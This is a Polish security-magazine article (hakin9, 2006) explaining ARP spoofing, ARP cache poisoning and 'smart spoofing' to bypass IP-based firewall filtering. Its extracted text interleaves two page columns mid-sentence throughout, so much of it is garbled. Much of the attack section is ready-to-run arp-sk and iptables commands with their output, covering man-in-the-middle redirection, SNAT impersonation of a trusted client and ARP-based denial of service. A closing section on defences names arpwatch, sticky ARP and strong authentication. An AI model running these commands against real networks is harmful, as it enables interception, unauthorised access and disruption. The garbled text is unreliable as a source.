smartspoof


Jak omijać filtrację IP
stosowaną przez firewalle
i rutery
Pod lupą
Kristof De Beuckelaer
stopień trudności
Spoofing to dobrze znane pojęcie w dziedzinie bezpieczeństwa
opisujące sytuację, w której osoba bądz program z powodzeniem
podszywa się pod inną bądz inny. Powszechną techniką jest
tutaj ref-tar spoofing. Smart spoofing IP opiera się na kombinacji
zatruwania cache'u ARP, translacji adresów sieciowych (NAT) i
routingu.
stnieje nowa metoda spoofowania adresu dzy autoryzowanym klientem, a firewallem. Przy-
IP. Można do niej wykorzystać narzędzie kładowo, w większości sieci korporacyjnych tylko
Io nazwie ARP-sk, lub na przykład ARP-fil- nieliczne, z góry określone komputery połączone
lup. Osoba znająca podstawy programowa- z Internetem przez firewall mają bezpośredni do-
nia byłaby w stanie napisać dość prosty skrypt stęp do Internetu (wewnętrzne proxy HTTP za-
w Perlu automatyzujący cały proces i/lub sto- pewniające filtrację treści bądz adresów, serwery
sujący ARP-sk i ARP-fillup. Spoofing IP nie jest poczty itd.). Każdy wewnętrzny użytkownik takiej
nową techniką, dlatego istnieje wiele narzędzi sieci za pomocą smart spoofingu może ominąć
hakerskich, pozwalających ją wykorzystać. takie ograniczenia (obejść filtrację adresów bądz
W artykule zademonstrujemy dlaczego treści HTTP, bezpośrednio odbierać bądz wysy-
kontrola dostępu według adresu IP jest w wie- łać e-maile przez SMTP itd.).
lu sytuacjach zawodna i nie powinna być stoso- W ten sam sposób dowolny komputer po-
wana w sieciach korporacyjnych. Technika IP między autoryzowanym klientem, a serwerem
smart spoofing opiera się na kombinacji zatru- może nadużyć aplikacji, do której dostęp ogra-
wania cache'u ARP, translacji adresów siecio-
wych oraz routingu; nie są tu potrzebne żadne
Z artykułu dowiesz się...
bardzo skomplikowane techniki.
Zaczniemy od podstaw, będzie więc zatem
" Dlaczego kontrola dostępu według adresu IP
okazja by przypomnieć sobie spoofing MAC
nie jest w wielu sytuacjach ani bezpieczna, ani
i ARP oraz zatruwanie cache'u ARP, by z cza-
niezawodna
sem dotrzeć do smartspoofingu.
Powinieneś wiedzieć...
Skutki smartspoofingu
Urządzenia sieciowe takie, jak: routery, czy fire- " Powinieneś znać podstawy spoofingu ARP
" Powinieneś znać podstawy translacji adresów
walle często stosują filtrację w oparciu o adres
sieciowych oraz routingu
zródłowy IP. Reguły te, mogą być ominięte przez
dowolny komputer znajdujący się w sieci pomię-
hakin9 Nr 3/2006
2 www.hakin9.org
Jak omijać filtrację IP
niczony jest do konkretnych adre- Table 1. Ramka Ethernet
sów IP  ma to miejsce w wielu przy-
MAC adre- MAC Rodzaj Treść Suma kon-
padkach takich, jak: ACL Apache'a;
sata nadawcy trolna
r-polecenia; NFS; TCP Wrapper; za-
Ramka Ethernet
strzeżone narzędzia administracyj-
Rodzaj sprzętu Rodzaj protokołu
ne itd. Można również w ten sposób
Dług. adr. sprz. Dług. adr. prot. Opkod
oszukać bazujące na adresie zródło-
wym filtry przekazników SMTP pod- Sprzętowy adres nadawcy
szywając się pod adres IP bramki
Adres protokołu, zródła
SMTP A. Posiadający złe intencje
Sprzętowy adres adresata
użytkownik obecny w sieci pomiędzy
Adres protokołu, adresata
A, a B może przesyłać pocztę przez
bramkę SMTP B wraz z sfałszowa-
nym adresem nadawcy pochodzą- " warstwa ARP zawiera kod wia- padku, gdy tablica CAM jest statycz-
cym z domeny pocztowej obsługiwa- domości (zapytanie LUB odpo- na, zostanie zamknięty port ofiary
nej przez A. wiedz), a także pary (ETH, IP) oraz ostrzeżony administrator.
dla nadawcy i adresata. Poza tym, warto zauważyć,
Co to jest ARP? że przy występowaniu zbyt wie-
Address Resolution Protocol (ARP) Należy zauważyć, że nigdzie nie lu konfliktów niektóre z przełączni-
to protokół sieciowy wiążący adres jest powiedziane, że musi istnieć ków przełączają się w tryb fail open
protokołu warstwy sieci ze sprzęto- zgodność pomiędzy warstwą ARP, (w tym przypadku następuje przesła-
wym adresem warstwy łącza. Przy- a Ethernet. Oznacza to, że adresy nie wszystkich pakietów na wszyst-
kładowo, ARP wykorzystywany jest wymieniane w obu warstwach mogą kich portach, jak w przypadku kon-
do tłumaczenia adresów IP na odpo- być nieskorelowane. centratorów).
wiadające im adresy Ethernet.
Manipulacja ARP, czyli jak Spoofing ARP
Jak ARP tłumaczy adres IP przekierowywać ruch w sieci Skoro spoofing MAC nie jest ani zbyt
na adres MAC Ethernetu? lokalnej efektywny, ani wystarczająco dys-
Gdy ARP potrzebuje przetłumaczyć Pierwszym pomysłem przychodzą- kretny, przejdzmy jeszcze warstwę
dany adres IP na adres Ethernet, cym do głowy, gdy chcemy podsłu- wyżej i przyjrzyjmy sie kolejnemu
wysyła na adres rozgłaszania sieci chiwać ruch w sieci, jest przełącze- ciekawemu protokołowi ARP. Wia-
(ang. broadcast) pakiety zapytania nie interfejsu sieciowego w tryb mie- domości ARP wymieniane są po-
ARP. Pakiet zapytania ARP zawie- szany (ang. promiscuous). W takiej między hostami, gdy jeden z nich
ra adresy MAC oraz IP zródła oraz sytuacji każdy otrzymany przez in- pragnie poznać adres MAC innego.
adres IP celu. Pakiet otrzymuje każ- terfejs pakiet zostanie przekazywa- Jeżeli na przykład Batman chce po-
dy system w lokalnej sieci. Host po- ny bezpośrednio z warstwy drugiej znać adres MAC Robina, wysyła za-
siadający zadany docelowy adres IP, (na ogół Ethernet) w górę (IP, ARP, pytanie ARP (Who has? Red.-ARP
odsyła z powrotem pakiet odpowie- DNS) bez sprawdzania, czy ma on pozwala uzyskać adres Ethernet ho-
dzi ARP, zawierający swój adres IP. właściwy adres docelowy. sta na podstawie adresu IP. Protokół
Niestety takie podejście ma swo- ARP jest intensywnie wykorzystywa-
Szybki przewodnik
je ograniczenia, dlatego, że nie moż- ny przez wszystkie hosty w sieciach
po ARP-sk
na w ten sposób wyjść poza prze- Ethernet.) na adres rozgłaszania sie-
ARP to dobrze znany protokół, któ- łączniki. ci, Robin zaś odpowiada swoim ad-
ry pozwala przeprowadzić kilka zna- resem.
nych ataków. Jednym z najpow- Spoofing MAC Co jednak stanie się, jeżeli Joker
szechniejszym jest podsłuchiwanie Atak Spoofing MAC dotyczy proto- odpowie przed Robinem?
danych (sniffing). Narzędzie ARP-sk kołu drugiej warstwy, na ogół Ether-
zostało zaprojektowane do manipu- net. Jest bardzo efektywny w działa- 12:50:31.198300
lowania tablicami ARP na bardzo niu przeciwko przełącznikom, powo- arp who-has
różnych urządzeniach. Można bar- duje aktualizację ich tablic przecho- robin tell batman [1]
dzo łatwo to wykonać wysyłając od- wujących wszystkie adresy Ethernet 12:50:31.198631 arp reply robin is
powiednie pakiety. Komunikat ARP związane z danym portem w prze- -at 0:10:a4:9b:6d:81 [2]
w sieci Ethernet/IP posiada 7 istot- łączniku (w terminologii CISCO no-
nych parametrów (patrz Tabela 1): szą one nazwę CAM  Content Ad- Batman umieści adres MAC Joke-
dressable Memory). Wciąż jednak ra w swoim cache'u ARP. Ponieważ
" warstwa Ethernet zapewnia 2 ad- nie jest to podejście doskonałe, bądz jednak pakiet Batmana został rozgło-
resy (SRC i DST); wystarczająco efektywne. W przy- szony, Robin także odpowie:
www.hakin9.org hakin9 Nr 3/2006 3
Pod lupą
Zanim przejdziemy dalej, oto
Listing 1. Wysyłamy zapytanie who-has
krótka legenda:
[root@joker]# arp-sk -w -d batman -S robin -D batman
" -D  adres urządzenia filtrujące-
+ Running mode "who-has"
+ IfName: eth0 go, z którym się łączymy;
+ Source MAC: 00:10:a4:9b:6d:81
" -S  adres zaufanego hosta, pod
+ Source ARP MAC: 00:10:a4:9b:6d:81
który się podszyjemy.
+ Source ARP IP : 192.168.1.2 (robin)
+ Target MAC: 52:54:05:F4:62:30
Teraz, jeżeli Batman zainicjuje trans-
+ Target ARP MAC: 00:00:00:00:00:00
+ Target ARP IP : 192.168.1.1 (batman) akcję z Robinem, pakiety będą wysy-
łane do Jokera i to bez potrzeby wy-
--- Start sending --
syłania jakichkolwiek innych informa-
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
cji przez Batmana. Warto zauważyć,
ARP Who has 192.168.1.1 (00:00:00:00:00:00) ?
że zapytania ARP z pojedynczym
Tell 192.168.1.2 (00:10:a4:9b:6d:81)
adresatem (ang. uni-cast) są jak naj-
--- batman (00:00:00:00:00:00) statistic ---
bardziej zgodne z RFC. Pozwalają
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
one systemowi sprawdzać stan swo-
ARP Who has 192.16.1.1 (00:00:00:00:00:00) ?
jego cache'u.
Tell 192.168.1.2 (00:10:a4:9b:6d:81)
1 packets tramitted (each: 42 bytes - total: 42 bytes)
Aktualizacja wpisu
Sposób pokazany przy spoofingu
12:50:31.198862 zminimalizować ruch ARP, dodaje ARP jest dokładnie tym, czego potrze-
arp reply robin is otrzymane w wiadomości informa- bujemy! Wystarczy teraz, że wyślemy
-at 52:54:5:fd:de:e5 [3] cje do nowego wpisu cache'u ARP Batmanowi odpowiedzi ARP z adresu
(patrz Listing 1 i Listing 2). IP Robina, ale adresem MAC Jokera.
Ważna uwaga
Jeżeli cel nie posiada już wpisu od-
Listing 2. Stan cache'u batmana
powiadającego maszynie, pod którą
chce się podszyć napastnik, wysyła- # before
[batman]$ arp -a
nie odpowiedzi nie ma sensu  cache
alfred (192.168.1.3) at 00:90:27:6a:58:74
nie zaktualizuje nieistniejącego wpisu.
# after
Cache ARP?
[batman]$ arp -a
robin (192.168.1.2) at 00:10:a4:9b:6d:81
ARP przechowuje relacje między
alfred (192.168.1.3) at 00:90:27:6a:58:74
adresami IP i MAC w tablicy w pa-
mięci, zwanej cache'em ARP. Wpisy
w tej tablicy są dodawane i usuwane
Listing 3. Sposób aktualizacji
w sposób dynamiczny.
[root@joker]# arp-sk -r -d batman -S robin -D batman
Zatruwanie cache'u ARP
+ Running mode "reply"
W świetle ograniczeń wspomniane-
+ IfName: eth0
go powyżej ataku, najlepiej byłoby + Source MAC: 00:10:a4:9b:6d:81
+ Source ARP MAC: 00:10:a4:9b:6d:81
bezpośrednio manipulować cache-
+ Source ARP IP : 192.168.1.2 (robin)
'em celu, niezależnie od wysyłanych
przezeń wiadomości ARP. W takiej
+ Target MAC: 52:54:05:F4:62:30
sytuacji musimy być w stanie:
+ Target ARP MAC: 52:54:05:F4:62:30
+ Target ARP IP : 192.168.1.1 (batman)
" dodawać nowe wpisy w cache'u
--- Start sending --
celu;
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
" aktualizować już istniejące wpi-
ARP For 192.168.1.1 (52:54:05:F4:62:30)
sy.
192.168.1.2 is at 00:10:a4:9b:6d:81
--- batman (52:54:05:F4:62:30) statistic ---
Dodawanie nowych wpisów
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
Aby to osiągnąć, wyślemy zapyta-
ARP For 192.168.1.1 (52:54:05:F4:62:30):
nie (Who has?) do celu. Kiedy host
192.168.1.2 is at 00:10:a4:9b:6d:81
otrzymuje who-has, sądzi że ma zo-
1 packets tramitted (each: 42 bytes - total: 42 bytes)
stać nawiązane połączenie i aby
www.hakin9.org
4 hakin9 Nr 3/2006
Jak omijać filtrację IP
W efekcie nawet jeśli odpowiedni wpis
istnieje już w cache'u Batmana, zosta-
nie on zaktualizowany informacjami
dostarczonymi przez Jokera:
[batman]$ arp -a
robin (192.168.1.2)
at 52:54:05:fd:de:e5
alfred (192.168.1.3)
at 00:90:27:6a:58:74
A teraz, aktualizujemy go następują-
co (patrz Listing 3).
Jeżeli teraz przyjrzymy się rezul-
Rysunek 1. Atak Man in the Middle
tatom tej operacji, powinny one wy-
glądać mniej więcej tak:
[batman]$ arp -a
robin (192.168.1.2)
at 00:10:a4:9b:6d:81
alfred (192.168.1.3)
at 00:90:27:6a:58:74
Jakie ataki są możliwe
Zakończywszy niezbędne przygoto-
wania, jesteśmy gotowi do rozpoczę-
cia manipulacji komunikacją pomię-
dzy Batmanem, a Robinem. Przyj-
rzyjmy się, jakie mamy możliwości
jeżeli chodzi o atak.
Sniffing
Rysunek 2. Proxying
Oczywisty, a do tego najzabawniejszy
sposób na atak Man in the Middle.
Proxying i przechwytywanie
Jesteśmy teraz w stanie przekierowy-
wać ruch, podobnie jak przezroczy-
ste proxy czynią to z obsługiwanymi
przez siebie strumieniami. Wystarczy,
że warstwa IP (bądz jakiekolwiek na-
rzędzie) przekaże dane do odpowied-
niej aplikacji  nawet jeżeli adres do-
celowy nie jest właściwy. Przykłado-
wo, Joker chce zmienić pewne para-
metry transakcji HTTP pomiędzy Bat-
manem, a Robinem:
[root@joker]# iptables
-t nat -A PREROUTING -p tcp
Rysunek 3. Smartspoofing
-s robin -d batman --dport 80
-j REDIRECT --to-ports 80 podstawowe mechanizmy sprawdza- za pomocą którego przetwarzamy
nia poprawności (np. CRC32, MD5 al- przechwycone dane.
Joker musi jedynie uruchomić pro- bo SHA-1), Joker może przeliczać su- Przykładowo, Joker posiada na
xy HTTP na swoim porcie 80 i mo- my kontrolne przed wysłaniem zmo- swoim serwerze HTTP nieco zmo-
że zmieniać wszystkie przesyłane da- dyfikowanych danych! Jedynym ogra- dyfikowany fragment zdalnego ser-
ne. Co więcej, jeżeli aktywne są jakieś niczeniem są tu możliwości narzędzia, wisu WWW. Zapytania do niezmo-
www.hakin9.org hakin9 Nr 3/2006 5
Pod lupą
dyfikowanej części przekazywane [root@joker]# arp-sk
są do prawdziwego serwisu. Rysu- -r -d batcave-gw -S
O autorze
nek 2 pokazuje, co dzieje się, jeżeli robin -D batcave-gw
Artykuł ten napisał Kristof De Beucke-
uprzednio wykonano: laer, student zamieszkały w Belgii. Je-
Wykorzystanie Linuksa do ataku te- go zainteresowanie bezpieczeństwem
wzrasta od pierwszego dnia jego eks-
[root@joker]# arp-sk go rodzaju bardzo ułatwia życie, po-
perymentów z i czytania o Linuksie,
-r -d robin -S batcave-gw -D robin nieważ funkcje NAT Netfiltera auto-
sposobach eksploatowania luk, łata-
[root@joker]# arp-sk matycznie podzielą pakiety należące
nia dziur w bezpieczeństwie, sieciach
-r -d batcave-gw -S robin -D batcave-gw do naszych połączeń i te, które nie:
i tak dalej. Od około 4-5 lat aktywnie
[root@joker]# arp-sk
uczestniczy w wielu grupach użytkow-
-r -d batman -S batcave-gw -D batman [root@joker]# iptables
ników, od programistycznych po użyt-
[root@joker]# arp-sk -t nat -A POSTROUTING
kowników, od Windows po Linuksa.
-r -d batcave-gw -S batman -j SNAT --to 192.168.1.2
Pierwszy raz zetknął się z Linuksem
-D batcave-gw
poprzez sesję terminala i od tamtej
[...] Blokada usługi pory nie może się odeń oderwać; tro-
Bardzo łatwo uzyskać blokadę usłu- chę pózniej zbudował na własny uży-
tek swój pierwszy samodzielnie wyko-
Przy bieżącej konfiguracji Joker wy- gi, gdy manipulujemy komunikatami
nany, oparty na Linuksie system ope-
syłałby pakiety ICMP Redirect do za- ARP. Wystarczy usuwać przekiero-
racyjny. Obecnie wciąż studiuje, chcąc
trutych stacji. Aby tego uniknąć, mu- wywane pakiety:
zmienić swoje największe hobby w
simy je zablokować; pod Linuksem
pracę jako inżyniera bezpieczeństwa/
można do zrobić za pomocą odpo- [root@joker]# iptables
oprogramowania/sieci.
wiedniego sysctl IP: -A FORWARD
-s robin -d batman -j DROP
[root@joker]# echo 0 wania spójności tablicy ARP. Pro-
> /proc/sys/net/ipv4/conf/ Jeżeli wolisz nie przekierowywać ru- gram arpwatch, dostępny pod wielo-
all/send_redirects chu przez swój komputer, możesz ma wariantami Unixa, utrzymuje ba-
także stworzyć czarną dziurę ARP zę ethernetowych adresów MAC wi-
Omijanie firewalla przez przekierowanie pakietów na dzianych w sieci wraz ze skojarzo-
(smartspoofing) nieużywane adresy MAC. nymi z nimi adresami IP i ostrze-
Korzystając z zatruwania cache'u ga administratora pocztą, gdy ma-
ARP napastnik włącza swój komputer [root@joker]# arp-sk ją miejsce jakieś zmiany  np. no-
w ścieżkę komunikacyjną między ser- -r -d robin -S batman wy system, zamiany par, zmienia-
werem, a klientem. Dzięki forwardo- --rand-arp-hwa-src -D robin ne bądz ponownie wykorzystywane
waniu IP istniejący ruch trafia do klien- stare adresy.
ta. Rzecz jasna na komputerze na- Teraz Robin sądzić będzie, że Bat- Wreszcie, niezawodny system
pastnika wyłączone zostały przekiero- man nie żyje. kontroli dostępu powinien wykorzy-
wania ICMP. Wreszcie, napastnik wy- stywać silne uwierzytelnianie, nie
korzystuje translację zródłowego ad- Podsumowanie kontrolę zródłowego adresu IP bądz
resu sieciowego by podszyć się pod Wskutek związanych z bezpieczeń- przesyłanie hasła otwartym tekstem.
adres IP klienta i utworzyć nowe po- stwem problemów z protokołem Protokoły VPN takie jak SSH, SSL
łączenie z serwerem; potem może on ARP i w efekcie możliwości ataku czy IPSec potrafią znacznie pod-
uruchamiać dowolne aplikacje siecio- smart spoofing, istnieje wiele moż- nieść poziom bezpieczeństwa po-
we, by łączyć się z serwerem korzy- liwości oszukania systemów kontro- przez zapewnienie uwierzytelniania
stając z adresu IP klienta IP. Oszuka- li dostępu opartych na adresie zró- oraz spójności i poufności danych.
ne zostaną wszelkie systemy kontroli dłowym IP. Jak widać istnieje zatem wie-
dostępu oparte na sprawdzaniu adre- Większość sieciowych IDS słu- le sposobów, które pozwalają le-
su IP klienta. Ponadto istniejący ruch chających na wszystkich portach piej ochronić się przed tego rodza-
w sieci nie jest zakłócony i z punktu wi- przełącznika wykryje duplikat ad- ju atakami: znalezienie sposobu na
dzenia serwera atak smart spoofing resu IP przy wysyłaniu fałszywych detekcję duplikatów adresów MAC
jest nie do wykrycia. pakietów ARP, jednak nie zabloku- na przełączniku (np. z pomocą AR-
Udając host w sieci i przechwytu- je ataku jako takiego; ponadto zasto- Pwatch) i/lub uruchomienie sticky
jąc pewne połączenie, możemy omi- sowanie tego podejścia wymagałoby ARP. Uniemożliwi to komputerom
nąć firewall poprzez reguły dotyczą- wdrożenia dużej liczby NIDS w wie- w sieci zmiany ich adresów MAC;
ce systemu, który udajemy. Do osią- lu sieciach. oczywiście negatywnym tego skut-
gnięcia tego nie jest potrzebne, po- Inną metodą obrony byłoby za- kiem jest potencjalnie większe ob-
trzebne wcześniej, podwójne prze- stosowanie Host-Based IDS do de- ciążenie administratora. l
kierowanie (ARP MiM): tekcji komunikatów ARP i utrzymy-
www.hakin9.org
6 hakin9 Nr 3/2006


Wyszukiwarka

Podobne podstrony:
SmartSteamEmu
MMFF94 smarts
SmartSniff v1 30 readme

więcej podobnych podstron